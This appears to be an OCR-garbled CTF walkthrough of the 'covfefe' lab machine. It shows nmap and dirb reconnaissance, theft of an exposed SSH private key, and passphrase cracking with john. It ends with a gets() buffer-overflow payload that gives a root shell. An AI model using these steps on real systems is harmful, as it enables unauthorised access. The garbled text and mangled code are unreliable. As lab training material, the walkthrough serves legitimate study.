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Currently scanning: 172.16.96.0/16 | Screen View: Unique Hosts

6 Captured ARP Req/Rep packets, from 4 hosts. Total size: 360

At MAC Address Count MAC Vendor / Hostname
192.168.189.128 00:0c:29:bb:be:f8 VMware,
192.168.189.2 00:50:56:el1:b2:05 VMware,

192.168.189.1 00:50:56:c0:00:08 VMware,

192.168.189.254 00:50:56:f7:43:0f VMware,
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Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-19 14:02 CST
Nmap scan report for 192.168.189.128
Host is up (0©.000088s latency).
Not shown: 997 closed ports
STATE SERVICE VERSION

ssh OpenSSH 7.4pl Debian 10 (protocol 2.90)

http nginx 1.10.3

http Werkzeug httpd 0.11.15 (Python 3.5.3)
MAC Address: 00:0C:29:BB:BE:F8 (VMware)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 7.52 seconds
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Welcome to nginx!

If you see this page, the nginx web server is successfully installed and working.
Further configuration is required.

For online documentation and support please refer to nginx.org.
Commercial support is available at nginx.com.

Thank you for using nginx.
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Not Found

The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.
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root@zZkali:~# dirb http://192.168.189.128:31337

START_TIME: Tue Mar 19 14:05:56 2019
URL_BASE: http://192.168.189.128:31337/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4615

---- Scanning URL: http://192.168.189.128:31337/ ----
+ http://192.168.189.128:31337/.bash_history (CODE:200|SIZE:81)

http://192.168.189.128:31337/.bashrc (CODE:200|SIZE:3526)

http://192.168.189.128:31337/.profile (CODE:200|SIZE:675)

http://192.168.189.128:31337/.ssh (CODE:200|SIZE:43)

http://192.168.189.128:31337/robots.txt (CODE:200|SIZE:70)

END_TIME: Tue Mar 19 14:06:09 2019

DOWNLOADED: 4615 - FOUND: 5

Hop—RE L EZHMER: .sshrobots.txt
%% ssh

<« ¢ (D 192.168.189.128:31337/.55h

['id rsa’, 'authorized keys', 'id rsa.pub'l

BT8R,
H3kFrobots.txt

¢ @ (L 192.168.189.128:31337/robots.txt

User-agent: *
Disallow: /.bashrc
Disallow: /.profile
Disallow: ftaxes

RIA=ABEF, BINEE:

B PIAN AEA — A3, TR B=EAEX:

<« C @ (D 192.168.189.128:31337/taxes/

Good job! Here is a flag: flagl {make america great again}



# 2T —Mag.
%R sshEHFXHERR, BERBAAHARHA.

<« ¢ Q, 192.168.189.128:31337/.ssh/id_rsa

[ ', 'authorized keys’', 'id rsa.pub’]

Opening id_rsa O |
You have chosen to open:
& id_rsa

whichis: BIN file (1.7 KB)
from: http://192.168.189.128:31337

Would you like to save this file?

Cancel | ‘ Save File
<« c @ Q1 192.168.189.128:31337/ sshfauthorized_keys
[id rsa’,’ ', 'id rsa.pub']
Opening authorized_keys [ ] '
You have chosen to open:
" authorized_keys
which is: BIN file (395 bytes)
from: http://192.168.189.128:31337
Would you like to save this file?
Cancel | ‘ Save File
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1 root root 1.8K Mar 19 14:29 id rsa

# Fauthorized_keys XXM %

ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQDzG6CcW1499ZGWOPV+tRaOLguT8+1s08zbSLCzgiBYkX/xnoZx0fneSfi93gdh4ynVjs2sgZ2Ha
RWAGSEGR7e3IetSP53NTxk5QrLHEGZQFLIA3QMMi74ebGBpPkKg/QzwRXxCrKgqL1b2+EYz68Y9INRAZogq8wYTLdoUVa2w0iJvePfr1Q4e9nh2937

yPgXmVAsy5ZvmpBp5FL76y11UblGUuftCfddh2IahevizL1VipuSQGFqRZOdA5xnxbsNO4QbFUhFI1A5RrAs814LuA9t2CiAZHXX]sVIW8/R/eD8K
22TO7XEQscQjaS1l/R4ACr1kNtUwCljpmpjt/Q4DImEXOR simon@covfefe
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ssh-iid_rsa simon@192.168.189.128


mailto:simon@192.168.189.128

root@Zkali:~# ssh -i id_rsa simon@192.168.189.128

1EEEEREREERACEERAERECAERACREREERACAERRERECPEPAERERPERECEERE
WARNING: UNPROTECTED PRIVATE KEY FILE!
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Permissions 0644 for 'id rsa' are too open.

It is required that your private key files are NOT accessible by others.
This private key will be ignored.

Load key "id _rsa": bad permissions

simon@192.168.189.128: Permission denied (publickey).

PR AL A SO AR 17 7, 28 35 X AL B SO 3R AT TRASBR -
chmod 600 id_rsa &Fid_rsafIi R

-rwW------- 1 root root 1.8K Mar 19 14:29 id rsa
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ssh2john id_rsa > crack
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zcat /usr/share/wordlists/rockyou.txt.gz|john --pipe --rules crack
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simon@covfefe:~$ pwd
/home/simon
simon@covfefe:~$ cd /root

simon@covfefe:/root$ ls

flag.txt read_message.c
simon@covfefe:/root$ cat flag.txt

cat: flag.txt: Permission denied

BHEMREEfag.txt
Il 7EE BHread_message.c

cat read_message.c

ZiR:



ttinclude <stdio.h>
ttinclude <stdlib.h>
ttinclude <unistd.h>

// You're getting close! Here's another flag:

// flag2{use_the_source_luke}

int main(int argc, char *argv[]) {
char program[] = "/usr/local/sbin/message";
char buf[20];

char authorized[] = "Simon";

printf("What is your name?\n");
gets(buf);

// Only compare first five chars to save precious cycles:
if (!strncmp(authorized, buf, 5)) {
printf("Hello %s! Here is your message:\n\n", buf);
// This is safe as the user can't mess with the binary location:
execve(program, NULL, NULL);
} else {
printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, auth
orized);
exit(EXIT_FAILURE);
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i21Tread_message.c

simon@covfefe: /root$ read n
What is your name?

i payload:

simon111111111111111/bi h

t is your name?
1111111111111111/bin/sh
lo Simon111111111111111/bin/sh! Here is your mes

H B =" Mag.
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